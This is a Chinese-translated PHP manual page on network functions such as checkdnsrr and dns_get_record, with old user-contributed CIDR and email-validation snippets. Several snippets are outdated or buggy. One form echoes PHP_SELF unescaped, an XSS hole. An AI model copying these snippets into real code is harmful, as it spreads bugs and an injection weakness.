This extension defines a file pointer resource returned by fsockopen() and pfsockopen().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

openlog() Options
Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_NOWAIT |
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
openlog() Facilities
Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem
syslog() Priorities (in descending order)
Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message
dns_get_record() Options
Constant | Description
DNS_A | IPv4 Address Resource
DNS_CAA | Certification Authority Authorization Resource (available as of PHP 7.0.16 and 7.1.2)
DNS_MX | Mail Exchanger Resource
DNS_CNAME | Alias (Canonical Name) Resource
DNS_NS | Authoritative Name Server Resource
DNS_PTR | Pointer Resource
DNS_HINFO | Host Info Resource (See IANA's » Operating System Names for the meaning of these values)
DNS_SOA | Start of Authority Resource
DNS_TXT | Text Resource
DNS_ANY | Any Resource Record. On most systems this returns all resource records, however it should not be counted upon for critical uses. Try DNS_ALL instead.
DNS_AAAA | IPv6 Address Resource
DNS_ALL | Iteratively query the name server for each available record type.

User Contributed Notes

arash dot dalir at gmail dot com 12-Jun-2018 08:29
FYI, on windows, the vlaues for LOG_* "log-levels" are as followed:

<?php
namespace Test;

include 'vendor/autoload.php';

use Psr\Log\LogLevel;

$log_levels = array(
    LogLevel::EMERGENCY => LOG_EMERG,
    LogLevel::ALERT => LOG_ALERT,
    LogLevel::CRITICAL => LOG_CRIT,
    LogLevel::ERROR => LOG_ERR,
    LogLevel::WARNING => LOG_WARNING,
    LogLevel::NOTICE => LOG_NOTICE,
    LogLevel::INFO => LOG_INFO,
    LogLevel::DEBUG => LOG_DEBUG,
);

print_r($log_levels);
/*
prints:

Array
(
    [emergency] => 1
    [alert] => 1
    [critical] => 1
    [error] => 4
    [warning] => 5
    [notice] => 6
    [info] => 6
    [debug] => 6
)
*/


网络 函数

Table of Contents

  • checkdnsrr — 给指定的主机（域名）或者IP地址做DNS通信检查
  • closelog — 关闭系统日志链接
  • dns_check_record — 别名 checkdnsrr
  • dns_get_mx — 别名 getmxrr
  • dns_get_record — 获取指定主机名的 DNS 纪录
  • fsockopen — 打开 Internet 或者 Unix 套接字连接
  • gethostbyaddr — 获取指定 IP 地址对应的 Internet 主机名
  • gethostbyname — 返回主机名对应的 IPv4地址。
  • gethostbynamel — 获取互联网主机名对应的 IPv4 地址列表
  • gethostname — 获取主机名
  • getmxrr — 获取 Internet 主机名对应的 MX 记录
  • getprotobyname — Get protocol number associated with protocol name
  • getprotobynumber — Get protocol name associated with protocol number
  • getservbyname — 获取互联网服务协议对应的端口
  • getservbyport — Get Internet service which corresponds to port and protocol
  • header_register_callback — 调用一个 header 函数
  • header_remove — 删除之前设置的 HTTP 头
  • header — 发送原生 HTTP 头
  • headers_list — 返回已发送的 HTTP 响应头（或准备发送的）
  • headers_sent — 检测消息头是否已经发送
  • http_response_code — 获取/设置响应的 HTTP 状态码
  • inet_ntop — Converts a packed internet address to a human readable representation
  • inet_pton — Converts a human readable IP address to its packed in_addr representation
  • ip2long — 将 IPV4 的字符串互联网协议转换成长整型数字
  • long2ip — 将长整型转化为字符串形式带点的互联网标准格式地址（IPV4）
  • net_get_interfaces — 获取网络接口
  • openlog — Open connection to system logger
  • pfsockopen — 打开持久的 Internet 或 Unix 套接字连接
  • setcookie — 发送 Cookie
  • setrawcookie — 发送未经 URL 编码的 cookie
  • socket_get_status — 别名 stream_get_meta_data
  • socket_set_blocking — 别名 stream_set_blocking
  • socket_set_timeout — 别名 stream_set_timeout
  • syslog — Generate a system log message

User Contributed Notes

Anton Avramov - lukav at lukav dot com 16-May-2017 02:41
An improved version of claudiu at cnixs dot com not using split and working with the following:
ip: 192.168.101.123, CIRD: 192.168.101.144/24

<?php
function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = explode ('/', $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    return (($ip_ip & $ip_mask) == ($ip_net & $ip_mask));
  }
?>
Anonymous 16-Jun-2016 05:15
improved version of philippe-at-cyberabuse.org's answer:

<?php
function cidrconv($net) {
    $start = strtok($net,"/");
    $n = 3 - substr_count($net, ".");
    if ($n > 0)
    {
        for ($i = $n;$i > 0; $i--)
            $start .= ".0";
    }
    $bits1 = str_pad(decbin(ip2long($start)), 32, "0", STR_PAD_LEFT);
    $net = (1 << (32 - substr(strstr($net, "/"), 1))) - 1;
    $bits2 = str_pad(decbin($net), 32, "0", STR_PAD_LEFT);
    $final = "";
    for ($i = 0; $i < 32; $i++)
    {
        if ($bits1[$i] == $bits2[$i]) $final .= $bits1[$i];
        if ($bits1[$i] == 1 and $bits2[$i] == 0) $final .= $bits1[$i];
        if ($bits1[$i] == 0 and $bits2[$i] == 1) $final .= $bits2[$i];
    }
    return array($start, long2ip(bindec($final)));
}
?>
-dR 13-Nov-2015 11:40
This little function might come in handy

<?php
function cidr_range( $cidr, $chkip=null )
{
    // Assign IP / mask
    list($ip,$mask) = explode("/",$cidr);

    // Sanitize IP
    $ip1 = preg_replace( '_(\d+\.\d+\.\d+\.\d+).*$_', '$1', "$ip.0.0.0" );

    // Calculate range
    $ip2 = long2ip( ip2long( $ip1 ) - 1 + ( 1 << ( 32 - $mask) ) );

    // are we cidr range cheking?
    if ( $chkip != null && ! filter_var( $chkip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === false )
    {
        return ip2long( $ip1 ) <= ip2long( $chkip ) && ip2long( $ip2 ) >= ip2long( $chkip ) ? true : false;
    } else {
        return "$ip1 - $ip2";
    }
}

var_dump( cidr_range( "127.0/16", "127.0.0.1" ) );   // bool(true)
var_dump( cidr_range( "127.0/16", "192.168.0.1" ) ); // bool(false)
var_dump( cidr_range( "192.168.0.0/24" ) );          // string(27) "192.168.0.0 - 192.168.0.255"

?>
David GASTALDIN 21-Jun-2007 08:12
Here a IP-Range to CIDRs function that I wrote for the purpose of filling my Postfix client.cidr with ripe-ncc data to block spamming from useless countries. Strcmp functions are meant to work around the silly PHP string comparison which inevitably tries compare strings as numbers when possible. I'll make no comment about that fact ... bit I have to bite my tong hard :

function PlageVersCIDRs($ip_min, $ip_max) {
    $cidrs = array();
    $ip_min_bin = sprintf('%032b', $ip_min);
    $ip_max_bin = sprintf('%032b', $ip_max);
    $ip_cour_bin = $ip_min_bin;
    while (strcmp($ip_cour_bin, $ip_max_bin) <= 0) {
        $lng_reseau = 32;
        $ip_reseau_bin = $ip_cour_bin;
        while (($ip_cour_bin[$lng_reseau - 1] == '0') && (strcmp(substr_replace($ip_reseau_bin, '1', $lng_reseau - 1, 1), $ip_max_bin) <= 0)) {
            $ip_reseau_bin[$lng_reseau - 1] = '1';
            $lng_reseau--;
        }
        $cidrs[] = long2ip(bindec($ip_cour_bin)).'/'.$lng_reseau;
        $ip_cour_bin = sprintf('%032b', bindec($ip_reseau_bin) + 1);
    }
    return $cidrs;
}
claudiu at cnixs dot com 22-Apr-2007 02:52
A simple and very fast function to check against CIDR.

Your previous examples are too complicated and involves a lot of functions call.

Here it is (only with arithmetic operators and call only to ip2long () and split() ):
<?php
  function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = split ("/", $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    $ip_ip_net = $ip_ip & $ip_mask;

    return ($ip_ip_net == $ip_net);
  }
?>
call example: <?php echo ipCheck ("192.168.1.23", "192.168.1.0/24"); ?>
dand at ddchosting.com 08-Apr-2006 02:28
When I was working on a project I ran into this problem with redirecting. My solution is as follows:
header("Refresh: 5; url=../main/main.php?".session_id()."");

This allowed me to pass the session_id() which is used throughout site to make sure user has loged in.
I hope this helps!
metator at netcabo dot pt 27-Jul-2005 08:22
Regarding samuele's note:

You can get faster code if you apply directly what happens in  network devices, such as routers. If you AND (logic operation) the remote ip against the local netmask the result will be the network ip if the remote ip is from the local network. Example:

    192.168.0.16 = 11000000.10101000.00000000.00010000
& 255.255.255.0 = 11111111.11111111.11111111.00000000
--------------------------------------------------------------
   192.168.0.0 = 11000000.10101000.00000000.00000000

And now the code. My example uses a html form where you place the values you want to test:

<HTML><HEAD><TITLE>Check IP</TITLE>
</HEAD><BODY>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

Hope you find this useful.
        IP to check: <input type="text" name="ip"> <br>
        Local network ip: <input type="text" name="net"> <br>
        Local netmask: <input type="text" name="mask"> <br>
        <input type="submit" name="check" value="Check it!">
    </form>
    <?php

/**
 * @param string $ip IP to check in dotted decimal format
 * @param string $net Network IP in dotted decimal format
 * @param string $mask Netmask in dotted decimal format
 * @returns true if the ip belongs to the network, false otherwise
 **/
function isIPIn($ip, $net, $mask) {
    //doesn't check for the return value of ip2long
    $ip = ip2long($_POST['ip']);
    $rede = ip2long($_POST['net']);
    $mask = ip2long($_POST['mask']);

    //AND
    $res = $ip & $mask;

    return ($res == $rede);
}

if (isset($_POST['check'])) {
     echo isIPIn($_POST['ip'], $_POST['net'], $_POST['mask']) ? "IP IN.": "IP OUT.";
}
 ?>
</BODY><HTML>
nexxer at rogers dot com 24-Feb-2005 05:16
In Trevor Hemsley's translation of the perl range2cidr function, the

while ($end > $start)

condition should be

while ($end >= $start)

otherwise it won't work for /32s, ie if you feed range2cidr("1.2.3.4", "1.2.3.4").

-- nex
samuele at norsam dot org 25-Nov-2003 09:01
To find if an IP is in a net/mask (very fast):
<?php
function isIPIn($ip,$net,$mask) {
   $lnet=ip2long($net);
   $lip=ip2long($ip);
   $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
   $firstpart=substr($binnet,0,$mask);
   $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
   $firstip=substr($binip,0,$mask);
   return(strcmp($firstpart,$firstip)==0);
   }
?>

This function can be compacted, avoiding some variable settings, but the function will not be too clear to read...
Example code, used to made a kind of location service network-based:

<?php
$n = array ( "192.168.0.0/16"   => "TUSCANY",
             "192.168.1.0/24"   => "- Florence",
             "192.168.2.0/24"   => "- Pisa",
             "192.168.3.0/24"   => "- Siena",
             "192.168.64.0/21" => "- Tuscan Archipelago",
             "192.168.64.0/23" => "--- Elba Island",
             "192.168.66.0/24" => "--- Capraia Island",
             "192.168.67.0/24" => "--- Giannutri Island");

// Normally you should use the following line
$myip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// This is first example: returns Tuscany/Pisa
$myip = "192.168.2.33";
// This is second example: returns Tuscany/T.Arch./Elba
$myip = "192.168.65.34";

echo "Your position:<br />\n";
foreach ( $n as $k=>$v ) {
   list($net,$mask)=split("/",$k);
   if (isIPIn($myip,$net,$mask)) {
       echo $n[$k]."<br />\n"; }
   }
?>

and so on...
anderson at piq dot com dot br 06-Aug-2003 10:10
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
02-Apr-2003 08:11
Alternative cidr_conv function - a little easier to follow

function cidr_conv($cidr_address) {
  $first = substr($cidr_address, 0, strpos($cidr_address, "/"));
  $netmask = substr(strstr($cidr_address, "/"), 1);

  $first_bin = str_pad(decbin(ip2long($first)), 32, "0", STR_PAD_LEFT);
  $netmask_bin = str_pad(str_repeat("1", (integer)$netmask), 32, "0", STR_PAD_RIGHT);

  for ($i = 0; $i < 32; $i++) {
    if ($netmask_bin[$i] == "1")
      $last_bin .= $first_bin[$i];
    else
      $last_bin .= "1";
  }

  $last = long2ip(bindec($last_bin));

  return "$first - $last";
}
trevor-hemsley at nospam dot dial dot pipex dot com 16-Oct-2002 11:53
Previous example of IP range to CIDR list does not cope with ranges as well as the perl Net::Netmask range2cidrlist() function. In PHP this looks like

<?
function imask($this)
{
// use base_convert not dechex because dechex is broken and returns 0x80000000 instead of 0xffffffff
return base_convert((pow(2,32) - pow(2, (32-$this)))), 10, 16);
}

function imaxblock($ibase, $tbit)
{
while ($tbit > 0)
{
$im = hexdec(imask($tbit-1));
$imand = $ibase & $im;
if ($imand != $ibase)
{
break;
}
$tbit--;
}
return $tbit;
}

function range2cidrlist($istart, $iend)
{
// this function returns an array of cidr lists that map the range given
$s = explode(".", $istart);
// PHP ip2long does not handle leading zeros on IP addresses! 172.016 comes back as 172.14, seems to be treated as octal!
$start = "";
$dot = "";
while (list($key,$val) = each($s))
{
$start = sprintf("%s%s%d",$start,$dot,$val);
$dot = ".";
}
$end = "";
$dot = "";
$e = explode(".",$iend);
while (list($key,$val) = each($e))
{
$end = sprintf("%s%s%d",$end,$dot,$val);
$dot = ".";
}
$start = ip2long($start);
$end = ip2long($end);
$result = array();
while ($end > $start)
{
$maxsize = imaxblock($start,32);
$x = log($end - $start + 1)/log(2);
$maxdiff = floor(32 - floor($x));
$ip = long2ip($start);
if ($maxsize < $maxdiff)
{
$maxsize = $maxdiff;
}
array_push($result,"$ip/$maxsize");
$start += pow(2, (32-$maxsize));
}
return $result;
}
?>
philippe-at-cyberabuse.org 12-Oct-2002 03:49
... and this one will do the opposite (o return NULL for invalid netblocks) :

1.0.0.0 1.0.255.255 -> 1.0.0.0/16
1.0.0.0 1.3.255.255 -> 1.0.0.0/14
192.168.0.0 192.168.0.255 -> 192.168.0.0/24

function ip2cidr($ip_start,$ip_end) {
if(long2ip(ip2long($ip_start))!=$ip_start or long2ip(ip2long($ip_end))!=$ip_end) return NULL;
$ipl_start=(int)ip2long($ip_start);
$ipl_end=(int)ip2long($ip_end);
if($ipl_start>0 && $ipl_end<0) $delta=($ipl_end+4294967296)-$ipl_start;
else $delta=$ipl_end-$ipl_start;
$netmask=str_pad(decbin($delta),32,"0","STR_PAD_LEFT");
if(ip2long($ip_start)==0 && substr_count($netmask,"1")==32) return "0.0.0.0/0";
if($delta<0 or ($delta>0 && $delta%2==0)) return NULL;
for($mask=0;$mask<32;$mask++) if($netmask[$mask]==1) break;
if(substr_count($netmask,"0")!=$mask) return NULL;
return "$ip_start/$mask";
}
philippe-at-cyberabuse.org 14-Dec-2001 07:46
PHP miss CIDR functions.

This one will convert a CIDR like this:
0.0.0.0/16 -> 0.0.0.0 - 0.0.255.255
127.0/16 -> 127.0.0.0 - 127.0.255.255
etc...

function cidrconv($net) {
$start=strtok($net,"/");
$n=3-substr_count($net, ".");
if ($n>0) { for ($i=$n;$i>0;$i--) $start.=".0"; }
$bits1=str_pad(decbin(ip2long($start)),32,"0","STR_PAD_LEFT");
$net=pow(2,(32-substr(strstr($net,"/"),1)))-1;
$bits2=str_pad(decbin($net),32,"0","STR_PAD_LEFT");
for ($i=0;$i<32;$i++) {
if ($bits1[$i]==$bits2[$i]) $final.=$bits1[$i];
if ($bits1[$i]==1 and $bits2[$i]==0) $final.=$bits1[$i];
if ($bits1[$i]==0 and $bits2[$i]==1) $final.=$bits2[$i];
}
return $start." - ".long2ip(bindec($final));
}


给指定的主机（域名）或者IP地址做DNS通信检查

  • ? 网络 函数
  • closelog ?
  • PHP Manual
  • 网络 函数
  • 给指定的主机（域名）或者IP地址做DNS通信检查

checkdnsrr

(PHP 4, PHP 5, PHP 7, PHP 8)

checkdnsrr — 给指定的主机（域名）或者IP地址做DNS通信检查

说明

checkdnsrr(string $hostname, string $type = "MX"): bool

在 DNS 中搜索与 hostname 对应的 type 类型纪录。

参数

hostname

hostname 可以是点分十进制的 IP 地址，也可以是主机名。

type

type 可能是下面这些类型中的任何一个：A、MX、NS、SOA、PTR、CNAME、AAAA、A6、SRV、NAPTR、TXT 或 ANY。

返回值

如果记录能找到，就返回 true；如果查找不到该 DNS 记录或者发生了错误，就返回 false。

注释

Note:

出于对低版本在 Windows 平台上的兼容性，可以试试 » PEAR 扩展包里面提供的 » Net_DNS 类。

参见

  • dns_get_record() - 获取指定主机名的 DNS 纪录
  • getmxrr() - 获取 Internet 主机名对应的 MX 记录
  • gethostbyaddr() - 获取指定 IP 地址对应的 Internet 主机名
  • gethostbyname() - 返回主机名对应的 IPv4地址。
  • gethostbynamel() - 获取互联网主机名对应的 IPv4 地址列表
  • the named(8) manual page

User Contributed Notes

n at zay dot uk 02-Jul-2021 11:39
I always think you should state the blindingly obvious.
A function that contains checkdnsrr will return false without an internet connection.
So in a production environment you need an active internet connection to return a true result with a valid email address.
dobs 24-Jul-2018 09:04
$this->_buf - for bulk check cache

function ValidateEmail($email)
    {
        list($user, $domain) = explode('@', $email);

        if (!filter_var($email, FILTER_VALIDATE_EMAIL) !== FALSE)
            return 0;

        if (isset($this->_buf[$domain]))
            return $this->_buf[$domain];

        if (checkdnsrr($domain) === FALSE) {
            $this->_buf[$domain] = 0;
            return 0;
        }
        $this->_buf[$domain] = 1;

        return 1;
    }
Martin 30-Sep-2016 10:02
Important Warning:

You need to add a dot to the end of the host name to make a fully qualified domain name.

To see why, try executing the following pieces of code:

$d1="gmail.con";
$d2="gmail.con.";
$r1=checkdnsrr($d1, "MX");
$r2=checkdnsrr($d2, "MX");
var_dump($r1);
var_dump($r2);

You will see that without the dot it claims that the domain "gmail.con" is valid.

Note that if you time the "checkdnsrr()" calls you will also see it takes longer without the dot because it treats it as a relative domain and does several tries based on the host name it is running on.

NB: in case you're interested, being treated as a relative domain explains what is happening. If your host is "example.com" the relative domain will eventually resolve to "gmail.con.com." which can be looked up, hence it wrongly claims "gmail.con" exists
Krisztin Ferenczi 27-Oct-2013 11:12
criffoh at gmail dot com is right. Before you check domain, you must convert to ascii with idn_to_ascii function:
http://us2.php.net/manual/en/function.idn-to-ascii.php .

var_dump(checkdnsrr('?andu.cl', 'A')); // returns false
var_dump(checkdnsrr(idn_to_ascii('?andu.cl'), 'A')); // return true
criffoh at gmail dot com 18-Jul-2013 02:57
Is not possible validate domains with '?' for my country.

In my country is possible to register domain using '?' character. For example:

?andu.cl
http://nic.cl/cgi-bin/dom-CL?q=%F1andu

If I use this function to check DNS record, it return false, but the domain already exists:

var_dump(checkdnsrr('?andu.cl', 'A')); // returns false
Patrick 13-Dec-2004 07:53
This is a little code example that will validate an email address in two ways:
- first the general syntax of the string is checked with a regular expression
- then the domain substring (after the '@') is checked using the 'checkdnsrr' function

<?php

function validate_email($email){

   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";

   if(eregi($exp,$email)){

      if(checkdnsrr(array_pop(explode("@",$email)),"MX")){
        return true;
      }else{
        return false;
      }

   }else{

      return false;

   }
}

?>


关闭系统日志链接

  • ? checkdnsrr
  • dns_check_record ?
  • PHP Manual
  • 网络 函数
  • 关闭系统日志链接

closelog

(PHP 4, PHP 5, PHP 7, PHP 8)

closelog — 关闭系统日志链接

说明

closelog(): true

closelog() 关闭用于通信的描述符并写入系统日志。closelog()是可选的。

参数

此函数没有参数。

返回值

总是返回 true。

参见

  • syslog() - Generate a system log message
  • openlog() - Open connection to system logger

User Contributed Notes

There are no user contributed notes for this page.


别名 checkdnsrr

  • ? closelog
  • dns_get_mx ?
  • PHP Manual
  • 网络 函数
  • 别名 checkdnsrr

dns_check_record

(PHP 5, PHP 7, PHP 8)

dns_check_record — 别名 checkdnsrr()

说明

此函数是该函数的别名： checkdnsrr()。

User Contributed Notes

There are no user contributed notes for this page.


别名 getmxrr

  • ? dns_check_record
  • dns_get_record ?
  • PHP Manual
  • 网络 函数
  • 别名 getmxrr

dns_get_mx

(PHP 5, PHP 7, PHP 8)

dns_get_mx — 别名 getmxrr()

说明

此函数是该函数的别名： getmxrr()。

User Contributed Notes

There are no user contributed notes for this page.


获取指定主机名的 DNS 纪录

  • ? dns_get_mx
  • fsockopen ?
  • PHP Manual
  • 网络 函数
  • 获取指定主机名的 DNS 纪录

dns_get_record

(PHP 5, PHP 7, PHP 8)

dns_get_record — 获取指定主机名的 DNS 纪录

说明

dns_get_record(
string $hostname,
int $type = DNS_ANY,
array &$authoritative_name_servers = null,
array &$additional_records = null,
bool $raw = false
): array|false

获取指定 hostname 的 DNS 纪录。

参数

hostname

hostname 应该是有效的 DNS 主机名，比如"www.example.com"。可以使用 in-addr.arpa 表示法生成反向查找，但大多数情况下更适合用 gethostbyaddr()。

Note:

根据 DNS 标准，邮件地址以 user.host 格式给出（例如：hostmaster.example.com 而不是 hostmaster@example.com），请务必检查此值并在必要时进行修改，然后将其与 mail() 等函数一起使用。

type

默认情况下，dns_get_record() 将会搜索跟 hostname 关联的任何资源记录。要限制查询，可以指定可选的 type 选项。可以是以下之一：DNS_A、DNS_CNAME、DNS_HINFO, DNS_CAA、DNS_MX、DNS_NS、DNS_PTR、DNS_SOA、DNS_TXT、DNS_AAAA、DNS_SRV、DNS_NAPTR、DNS_A6、DNS_ALL 或 DNS_ANY。

Note:

因为不同平台间的 libresolv 存在性能差异，DNS_ANY 不会始终返回每条记录，较慢的 DNS_ALL 会更可靠的收集所有记录。

Note:

Windows：不支持 DNS_CAA。没有实现对 DNS_A6 的支持。

authoritative_name_servers

引用传递，如果给出，将会填充权威名称服务器的资源记录。

additional_records

引用传递，如果给出，将会填充任何附加记录。

raw

type 将解释为原始 DNS 类型 ID（不能使用 DNS_* 常量）。返回值包含 data 键，需要手动解析。

返回值

此函数返回由关联数组组成的数组， 或者在失败时返回 false。每个关联数组至少包含以下键：

基础 DNS 属性
属性 | 含义
host | The record in the DNS namespace to which the rest of the associated data refers.
class | dns_get_record() 仅返回内部类记录，因此参数将始终返回 IN。
type | 包含记录类型的字符串。其他属性也包含在结果数组中，具体取决于 type 的值。查看下表。
ttl | "Time To Live" remaining for this record. This will not equal the record's original ttl, but will rather equal the original ttl minus whatever length of time has passed since the authoritative name server was queried.

根据"type"的不同，出现的关联数组的其它键
类型 | 额外列
A | ip：点分十进制格式的 IPv4。
MX | pri：邮件交换器的有优先级。较低的数字有较高的优先级。target：邮件服务器的 FQDN（全称域名）。参阅 dns_get_mx()。
CNAME | target: FQDN of location in DNS namespace to which the record is aliased.
NS | target: FQDN of the name server which is authoritative for this hostname.
PTR | target: Location within the DNS namespace to which this record points.
TXT | txt：跟此记录关联的任意字符串数据。
HINFO | cpu: IANA number designating the CPU of the machine referenced by this record. os: IANA number designating the Operating System on the machine referenced by this record. See IANA's » Operating System Names for the meaning of these values.
CAA | flags：单字节位字段；目前仅定义了第 0 位，意味着"critical"；其他位保留且应该忽略。tag：CAA 标记名（字母数字的 ASCII 字符串）。value：CAA 标记值（二进制字符串，可以使用子格式）。更多信息参阅：» RFC 6844。
SOA | mname: FQDN of the machine from which the resource records originated. rname: Email address of the administrative contact for this domain. serial: Serial # of this revision of the requested domain. refresh: Refresh interval (seconds) secondary name servers should use when updating remote copies of this domain. retry: Length of time (seconds) to wait after a failed refresh before making a second attempt. expire: Maximum length of time (seconds) a secondary DNS server should retain remote copies of the zone data without a successful refresh before discarding. minimum-ttl: Minimum length of time (seconds) a client can continue to use a DNS resolution before it should request a new resolution from the server. Can be overridden by individual resource records.
AAAA | ipv6：IPv6 地址
A6 | masklen: Length (in bits) to inherit from the target specified by chain. ipv6: Address for this specific record to merge with chain. chain: Parent record to merge with ipv6 data.
SRV | pri: (Priority) lowest priorities should be used first. weight: Ranking to weight which of commonly prioritized targets should be chosen at random. target and port: hostname and port where the requested service can be found. For additional information see: » RFC 2782
NAPTR | order and pref: Equivalent to pri and weight above. flags, services, regex, and replacement: Parameters as defined by » RFC 2915.

更新日志

版本 | 说明
7.0.16, 7.1.2 | 新增对 CAA 记录的支持。

示例

Example #1 使用 dns_get_record()

<?php
$result = dns_get_record("php.net");
print_r($result);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)

Example #2 使用 dns_get_record() 和 DNS_ANY

一旦解析了 MX 记录，通常需要邮件服务器的 IP 地址，因此 dns_get_record() 还会在 additional_records 中返回包含关联记录的数组。authoritative_name_servers 也会返回，包含权威名称服务器列表。

<?php
/* 为 php.net 请求"ANY"记录，并创建 $authns 和 $addtl 数组，
包含名称服务器列表和任何附加记录列表 */
$result = dns_get_record("php.net", DNS_ANY, $authns, $addtl);
echo "Result = ";
print_r($result);
echo "Auth NS = ";
print_r($authns);
echo "Additional = ";
print_r($addtl);
?>

以上示例的输出类似于：

Result = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)
Auth NS = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [1] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [2] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [3] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

)
Additional = Array
(
    [0] => Array
        (
            [host] => pair2.php.net
            [type] => A
            [ip] => 216.92.131.5
            [class] => IN
            [ttl] => 6766
        )

    [1] => Array
        (
            [host] => remote1.easydns.com
            [type] => A
            [ip] => 64.39.29.212
            [class] => IN
            [ttl] => 100384
        )

    [2] => Array
        (
            [host] => remote2.easydns.com
            [type] => A
            [ip] => 212.100.224.80
            [class] => IN
            [ttl] => 81241
        )

    [3] => Array
        (
            [host] => ns1.easydns.com
            [type] => A
            [ip] => 216.220.40.243
            [class] => IN
            [ttl] => 81241
        )

    [4] => Array
        (
            [host] => ns2.easydns.com
            [type] => A
            [ip] => 216.220.40.244
            [class] => IN
            [ttl] => 81241
        )

)

参见

  • dns_get_mx() - 别名 getmxrr
  • dns_check_record() - 别名 checkdnsrr

User Contributed Notes

bohwaz 08-Sep-2022 03:57
Sadly this method does not allow for using an arbitrary nameserver.

If you need to make a request  using a specific DNS server, you'll need to use either Pear/Net_DNS2, or libdns ( https://github.com/DaveRandom/LibDNS ).

If you want something shorter and lighter, you can also use this 150 lines function: https://gist.github.com/bohwaz/ddc61c4f7e031c3221a89981e70b830c
Emil 15-Mar-2018 11:17
Hi,
If I added domain to directadmin where is script with dns_get_record it gives me local values even if that domain is not really delegated yet to this server.. why?
ohcc at 163 dot com 05-Sep-2017 01:29
When I use DNS_ALL as the second parameter to invoke dns_get_record() on the OS of Windows, PHP emits a warning with the message "Warning: dns_get_record(): Type '251721779' not supported in blah.php on line blah", and DNS_ANY is always OKAY.
NaturalBornCamper 27-Jun-2017 06:45
You might have the same problem as me, where testing a non-existent domain will search for a subdomain relative to the domain you are executing from, for example:

// Test with working domain
var_dump( dns_get_record('google.com', DNS_A) );
/* works, returns
Array
(
    [host] => google.com
    [class] => IN
    [ttl] => 299
    [type] => A
    [ip] => 172.217.12.142
)
*/

// Test with invalid domain on our website (example.com)
var_dump( dns_get_record('invalidtestingname.com', DNS_A) );
/* Doesn't work, pretend it's a subdomain
Array
(
    [host] => invalidtestingname.com.example.com
    [class] => IN
    [ttl] => 299
    [type] => A
    [ip] => xxx.xxx.xxx.xxx
)
*/

If anyone has that problem, add a "dot" at the end of the domain name, for example, instead of
dns_get_record('invalidtestingname.com', DNS_A);
Do this:
dns_get_record('invalidtestingname.com.', DNS_A);
heinjan at eendrachtstraat dot nl 17-Oct-2016 09:23
Please note that Firewalls and anti malware software detects  (and depending on company policies even blocks) DNS_ANY requests.
In that case the usage of this function fails.
This is because DNS_ANY requests can be  exploited for creating "amplification (D)DOS attackes": You send 1 DNS_ANY request and get a huge amount of information back, thus even small requests can result into hugh network load.

I advise to use a more explicit name-request instead of using DNS_ANY.
tobias at herkula dot info 24-Mar-2015 10:10
This method has no error handling, it simply puts out "false" and it is impossible to check for NXDOMAIN, SERVFAIL, TIMEOUT or any other error...
PHP Joe 13-Aug-2013 11:30
Although this works very well for general DNS queries if you want to do a direct DNS query to a specified DNS server (rather than using OS resolution) try PHPDNS: http://www.purplepixie.org/phpdns/

You can do direct (TCP or UDP) low-level queries to a nameserver and recurse at will. Very useful for testing specific servers and also for walking through a recursive resolution.
karl at influ dot io 26-Apr-2013 01:38
There's a comment below from 7 years ago regarding BSD and MacOSX, I'd just like to follow up incase some people see that and don't think it'll work on MacOSX.

Software:

    System Software Overview:

      System Version: OS X 10.8.3 (12D78)
